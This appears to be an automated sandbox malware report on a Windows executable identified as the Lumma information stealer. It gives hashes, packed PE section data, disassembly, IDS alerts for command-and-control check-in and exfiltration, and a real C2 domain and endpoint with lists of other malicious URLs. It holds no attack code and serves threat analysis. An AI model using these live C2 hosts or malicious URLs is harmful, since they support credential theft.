https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.2141958855.0000000005BD6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142104444.0000000005BD6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2141879804.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store:443/api	file.exe, file.exe, 00000000.00000003.2186408136.00000000013AF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2186898725.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2182709196.00000000013AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2186468310.00000000013B1000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.114.97.3	necklacedmny.store	European Union		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1544216
Start date and time:	2024-10-29 04:00:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 20s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/0@5/1
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 8
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target file.exe, PID 3056 because there are no executed function
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
23:01:08	API Interceptor	10x Sleep call for process: file.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.97.3	PbfYaIvR5B.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	windowsxp.top/ExternaltoPhppollcpuupdateTrafficpublic.php
	SR3JZpolPo.exe	Get hash	malicious	JohnWalkerTexasLoader	Browse	xilloolli.com/api.php?status=1&wallets=0&av=1
	5Z1WFRMTOXRH6X21Z8NU8.exe	Get hash	malicious	Unknown	Browse	artvisions-autoinsider.com/8bkjdSdfjCe/index.php
	PO 4800040256.exe	Get hash	malicious	FormBook	Browse	www.cc101.pro/4hfb/
	QUOTATION_OCTQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/cDXpxO66/download
	Instruction_1928.pdf.lnk.download.lnk	Get hash	malicious	LummaC	Browse	tech-tribune.shop/pLQvfD4d5/index.php
	WBCDZ4Z3M2667YBDZ5K4.bin.exe	Get hash	malicious	Unknown	Browse	tech-tribune.shop/pLQvfD4d5/index.php
	yGktPvplJn.exe	Get hash	malicious	Pushdo	Browse	www.rs-ag.com/
	https://is.gd/6NgVrQ	Get hash	malicious	HTMLPhisher	Browse	aa.opencompanies.co.uk/vEXJm/
	Comprobante de pago.xlam.xlsx	Get hash	malicious	Unknown	Browse	paste.ee/d/KXy1F

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
necklacedmny.store	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	z20SWIFT_MT103_Payment_552016_pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	SecuriteInfo.com.W64.GenKryptik.GHEK.tr.25144.16407.exe	Get hash	malicious	Unknown	Browse	104.26.0.5
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	https://api.inspectrealestate.com.au/email/track?eta=1&t=B32-5UARLGTXC6GHXC7PJPHCGUP7HMF6FJEQ76L6MOL7WYB6P6EYQNBONANBBGKOXFRO3HPDET5TXGOZXG5FJNMJJC437YUYUWDF5VEVIWPK6LECEZJV3OMRCXF6VI76ZOGYOFIOERVACTHYB4KHK22IKKEWLYPTUBLONXLA7QVY2SW2TZMW4ULVG2UAKDR3DM3RL4TTJAF3F3ROXQ3ZLRVYS7Z2T4TIQETEEUV73V42AQLF65YKSUX6JMYEW3ZHXPREAMXXBOQV32GKOYOISFZKX4GPTPR2IMSMCULLR2V4QUSMU3MWF7NQ%3D%3D%3D%3D	Get hash	malicious	Unknown	Browse	188.114.96.3
	Payment Advice.xls	Get hash	malicious	Unknown	Browse	104.21.21.60
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	https://hianime.to	Get hash	malicious	Unknown	Browse	104.21.11.245
	(No subject) (98).eml	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.52401135795282
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'918'912 bytes
MD5:	1e2713791f4b57ee161ef33685c0f1ed
SHA1:	4c208910306a8ffed3a5e12635d5b062b5c0ccdf
SHA256:	0077934422c43d40c3d013a087dc47921a80b0afa6ff27df16788b0f9ba5f42c
SHA512:	b9ad7593dfd25ec2881797ae70069e4717e67dbe15a390c70ebfdbb271298eabea9cfa0c2a73187507f4d39a761f4f5b621a99832a8f180af502c43d143abc15
SSDEEP:	49152:TNuNeBOHsm6gpbhXoFqg9w2BQ2NPEnZiYI4ZNdT:TNuNeQb6cbhXoFqf2BQesn9I4p
TLSH:	ECD52AA2F40971CBD44A1AB9E52BCD41696D07B987340DC3D838F4B97EB3CC166B6D28
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............/...........@.........................../.....r.,...@.................................T...h..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x6fa000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6715D353 [Mon Oct 21 04:06:43 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F59308D02EAh
punpckhbw mm5, qword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F59308D22E5h
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx+00000080h], dh
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5a054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5a1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x58000	0x27e00	d15fa36f7eaf8a9ee12286b4cadc5e78	False	0.9981325920846394	data	7.985829567371245	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x59000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5a000	0x1000	0x200	555a11fa24a077379003c187d9c9d020	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
rpoxyqbt	0x5b000	0x29e000	0x29d400	ea34529cf2bb09993f4731e45a1c1ba8	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
qjmjnece	0x2f9000	0x1000	0x400	1b2abaf1049640dca38619d1928ef011	False	0.744140625	data	5.815902215311441	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x2fa000	0x3000	0x2200	29a4d4266ddf8c37a268da0853f1e999	False	0.10075827205882353	DOS executable (COM)	1.0710487273813227	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-29T04:01:10.710144+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49704	188.114.97.3	443	TCP
2024-10-29T04:01:10.710144+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49704	188.114.97.3	443	TCP
2024-10-29T04:01:11.983923+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49705	188.114.97.3	443	TCP
2024-10-29T04:01:11.983923+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49705	188.114.97.3	443	TCP
2024-10-29T04:01:13.414944+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49706	188.114.97.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 29, 2024 04:01:09.569188118 CET	49704	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:09.569246054 CET	443	49704	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:09.569327116 CET	49704	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:09.570575953 CET	49704	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:09.570594072 CET	443	49704	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:10.209530115 CET	443	49704	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:10.209666967 CET	49704	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:10.213527918 CET	49704	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:10.213536978 CET	443	49704	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:10.214097023 CET	443	49704	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:10.254192114 CET	49704	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:10.259227991 CET	49704	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:10.259258986 CET	49704	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:10.259341955 CET	443	49704	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:10.710165024 CET	443	49704	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:10.710273981 CET	443	49704	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:10.710342884 CET	49704	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:10.711608887 CET	49704	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:10.711632013 CET	443	49704	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:10.711647987 CET	49704	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:10.711654902 CET	443	49704	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:10.785515070 CET	49705	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:10.785547972 CET	443	49705	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:10.785624981 CET	49705	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:10.785964966 CET	49705	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:10.785979033 CET	443	49705	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:11.429572105 CET	443	49705	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:11.429744959 CET	49705	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:11.491003036 CET	49705	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:11.491014957 CET	443	49705	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:11.491894007 CET	443	49705	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:11.493693113 CET	49705	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:11.493707895 CET	49705	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:11.493771076 CET	443	49705	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:11.984009027 CET	443	49705	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:11.984210968 CET	443	49705	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:11.984314919 CET	443	49705	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:11.984322071 CET	49705	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:11.984359980 CET	443	49705	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:11.984417915 CET	49705	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:11.984477043 CET	443	49705	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:11.984654903 CET	443	49705	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:11.984719038 CET	49705	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:11.984726906 CET	443	49705	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:11.984812021 CET	443	49705	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:11.984857082 CET	49705	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:11.984863997 CET	443	49705	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:12.035486937 CET	49705	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:12.035500050 CET	443	49705	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:12.082412958 CET	49705	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:12.107126951 CET	443	49705	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:12.107243061 CET	443	49705	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:12.107335091 CET	49705	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:12.107357025 CET	443	49705	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:12.107651949 CET	443	49705	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:12.107712984 CET	49705	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:12.116082907 CET	49705	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:12.116133928 CET	443	49705	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:12.116167068 CET	49705	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:12.116183996 CET	443	49705	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:12.269840956 CET	49706	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:12.269915104 CET	443	49706	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:12.270020962 CET	49706	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:12.270416021 CET	49706	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:12.270452976 CET	443	49706	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:12.883280039 CET	443	49706	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:12.883402109 CET	49706	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:12.885210991 CET	49706	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:12.885217905 CET	443	49706	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:12.885560989 CET	443	49706	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:12.887059927 CET	49706	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:12.887238026 CET	49706	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:12.887274027 CET	443	49706	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:13.415000916 CET	443	49706	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:13.415242910 CET	443	49706	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:13.415333986 CET	49706	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:13.415499926 CET	49706	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:13.415520906 CET	443	49706	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:13.558250904 CET	49707	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:13.558284044 CET	443	49707	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:13.558398962 CET	49707	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:13.558666945 CET	49707	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:13.558679104 CET	443	49707	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:14.167804003 CET	443	49707	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:14.167920113 CET	49707	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:14.169111967 CET	49707	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:14.169123888 CET	443	49707	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:14.169354916 CET	443	49707	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:14.170448065 CET	49707	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:14.170618057 CET	49707	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:14.170653105 CET	443	49707	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:14.170726061 CET	49707	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:14.170738935 CET	443	49707	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:14.710304022 CET	443	49707	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:14.710441113 CET	443	49707	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:14.710517883 CET	49707	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:14.710604906 CET	49707	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:14.710624933 CET	443	49707	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:14.882742882 CET	49708	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:14.882769108 CET	443	49708	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:14.882841110 CET	49708	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:14.883177996 CET	49708	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:14.883188963 CET	443	49708	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:15.493624926 CET	443	49708	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:15.493709087 CET	49708	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:15.495039940 CET	49708	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:15.495047092 CET	443	49708	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:15.495378971 CET	443	49708	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:15.496700048 CET	49708	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:15.496854067 CET	49708	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:15.496891022 CET	443	49708	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:15.496954918 CET	49708	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:15.496963024 CET	443	49708	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:16.235637903 CET	443	49708	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:16.235891104 CET	443	49708	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:16.235958099 CET	49708	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:16.235996008 CET	49708	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:16.236011982 CET	443	49708	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:16.719782114 CET	49709	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:16.719815016 CET	443	49709	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:16.719918966 CET	49709	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:16.720299959 CET	49709	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:16.720310926 CET	443	49709	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:17.329772949 CET	443	49709	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:17.329868078 CET	49709	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:17.336940050 CET	49709	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:17.336947918 CET	443	49709	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:17.337264061 CET	443	49709	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:17.342520952 CET	49709	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:17.342624903 CET	49709	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:17.342629910 CET	443	49709	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:17.960769892 CET	443	49709	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:17.960850954 CET	443	49709	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:17.960906982 CET	49709	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:17.981987953 CET	49709	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:17.982001066 CET	443	49709	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:18.479080915 CET	49710	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:18.479130030 CET	443	49710	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:18.479207039 CET	49710	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:18.479492903 CET	49710	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:18.479511023 CET	443	49710	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:19.100084066 CET	443	49710	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:19.100194931 CET	49710	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:19.101432085 CET	49710	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:19.101443052 CET	443	49710	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:19.101663113 CET	443	49710	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:19.102880955 CET	49710	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:19.103627920 CET	49710	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:19.103662014 CET	443	49710	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:19.103779078 CET	49710	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:19.103806973 CET	443	49710	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:19.103910923 CET	49710	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:19.103929043 CET	443	49710	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:19.104077101 CET	49710	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:19.104101896 CET	443	49710	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:19.104346991 CET	49710	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:19.104377031 CET	443	49710	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:19.104556084 CET	49710	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:19.104585886 CET	443	49710	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:19.104597092 CET	49710	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:19.104788065 CET	49710	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:19.104823112 CET	49710	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:19.109493017 CET	443	49710	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:19.109714031 CET	49710	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:19.109746933 CET	443	49710	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:19.109787941 CET	49710	443	192.168.2.5	188.114.97.3
